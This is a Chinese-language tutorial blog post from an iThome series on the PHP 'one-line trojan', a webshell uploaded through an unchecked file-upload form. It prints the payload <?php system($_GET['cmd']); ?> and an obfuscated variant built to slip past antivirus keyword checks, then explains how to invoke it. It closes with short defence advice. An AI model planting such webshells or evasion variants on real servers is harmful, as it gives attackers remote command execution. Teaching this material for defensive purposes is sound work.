iT邦幫忙

第 12 屆 iThome 鐵人賽

DAY 29
1
自我挑戰組

大學 50 萬貸款的交代系列 第 29

Day 29 開門 ~ 一句話木馬 (*´∀`)~♥

倒數第二篇文章了,來介紹一句話木馬好了。
一句話木馬會出現在有提供檔案上傳的網頁,透過檔案上傳的漏洞將惡意網頁程式上傳到目標伺服器。再對該程式進行呼叫,就可以把對方伺服器當自家廚房了。

做壞壞的事囉 ξ( ✿>◡❛)

我們用 Day 28 的網頁上傳程式來示範。
首先要確認受害的後端程式應該是哪支。在 form 中的 action 可以看出後端接收的程式。

有的程式的接收程式會先經過 JS 再送 PHP 所以還是要看每個網頁狀況而定。

這裡補充一點資安上的經驗

一般傳送資料會透過 Post 方法送出,因為 Post 方法不容易自行生成,但是可以使用類似 Postman 這類可以自訂送出資料的軟體做出。不但能生成 Post 內容,還可以繞過前端檢查。
所以後端的輸入檢查是必要的。

了解接收的內容後,我們來裝後門吧。因為我們沒有設定前端的檢查,所以直接使用網頁介面直接送出後門程式,後門長這樣

<?php system($_GET['cmd']); ?>

因為是一句話木馬,當然只要一句話囉(ノ>ω<)ノ

這個程式很簡單,就是透過 PHP 的 system Function 執行 Shell 指令。並使用 Get 方法接收 Shell 指令。

這樣就完成上傳囉,可以試著去找檔案放的位置,然後去別人伺服器玩囉(ノ>ω<)ノ
因為我們知道檔案會放在 update 資料夾中,所以可以直接從網頁中呼叫後門。

像這樣,等於直接拿到電腦的控制權了。要下什麼指令,只要下在網址後面就可以了。
這裡整理一下可能會發生的問題

  • 上傳後門會被系統阻擋
    現在的作業系統或是防毒軟體都會阻擋有類似關鍵字的檔案,所以可以把檔案內容包裝一下
<?php ('sy'.'stem')($_GET['c'.'m'.'d']); ?>
  • 上傳的檔案沒辦法被執行起來
    有可能是檔案沒有執行的權限,這樣的話,一句話木馬攻擊就無效了。

怎麼預防一句話木馬

這個漏洞看起來非常可怕,但是也是很容易被阻擋。上面這個範例是為了示範需要,完全沒有對檔案進行任何檢驗。只要調整上傳的檔案權限,或是在後端檢查檔案的格式,就可以避免這個問題。

不過現在的攻擊大部分都是複合型的漏洞組合,像是把 PHP 塞在圖檔後面繞過檔案檢查,在利用其他漏洞將 PHP 檔案分離出來,所以我認為最好的防禦方法還是把上傳位置權限設定好,比較能從根本解決問題。不過,因為沒也實戰經驗,所以先下這樣的結論,不一定正確,還請有實務經驗的先進指教。d(d'∀')


上一篇
Day 28 PHP 上傳檔案
下一篇
Day 30 完賽回顧
系列文
大學 50 萬貸款的交代30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言